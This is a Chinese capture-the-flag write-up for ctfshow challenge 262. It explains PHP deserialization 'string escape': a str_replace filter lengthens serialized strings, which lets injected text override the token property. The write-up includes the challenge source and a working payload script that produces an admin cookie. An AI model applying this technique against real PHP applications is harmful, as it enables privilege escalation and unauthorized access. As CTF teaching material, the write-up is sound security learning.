php反序列化之字符串逃逸

最近回顾了几道php反序列化的基础题,就随便写一类个人比较中意的题型——字符串逃逸。

这里以ctfshow262为例。
有两部分源码
index.php


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php


highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

大致流程

重点在后者代码。传入cookie:msg,反序列化实例化后判断token是否等于admin。其实看到这题源码的第一反应是直接建个新类让token='admin'即可绕过拿到flag。这里另一种解法即字符串逃逸问题。
这里看两段序列化串:

O:7:“message”:4:{s:4:“from”;s:1:“a”;s:3:“msg”;s:1:“b”;s:2:“to”;s:4:"fuck";s:5:“token”;s:4:“user”;}
O:7:“message”:4:{s:4:“from”;s:1:“a”;s:3:“msg”;s:1:“b”;s:2:“to”;s:4:"loveU";s:5:“token”;s:4:“user”;}

假如传入的参数为a、b、fuck,在代码中str_replace('fuck', 'loveU', $msg)的影响下,上述字符串长度不匹配出现错误。后者比前者多一个字符。前s:4,后却为5个字符,多余出的一个字符就可以形成一个字符串逃逸。假如我们输入30个fuck,那么就可以逃逸30个字符。根据这个思路就可以造出payload了。我们要逃逸出的字符为";s:5:"token";s:5:"admin";},其长度为27,那么前面再加上27个fuck就可以形成逃逸了。

payload


class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($s){
    return  str_replace('fuck', 'loveU', $s);
}

function mult($str,$num){
    $res='';
    for($i=1;$i<=$num;$i++){
        $res=$res.$str;
    }
    return $res;
}

$f = new message('a','b',mult('fuck',27).'";s:5:"token";s:5:"admin";}');
$fs = serialize($f);
$f2 = filter($fs);
echo base64_encode($f2);

你可能感兴趣的:(CTF日记,php,python)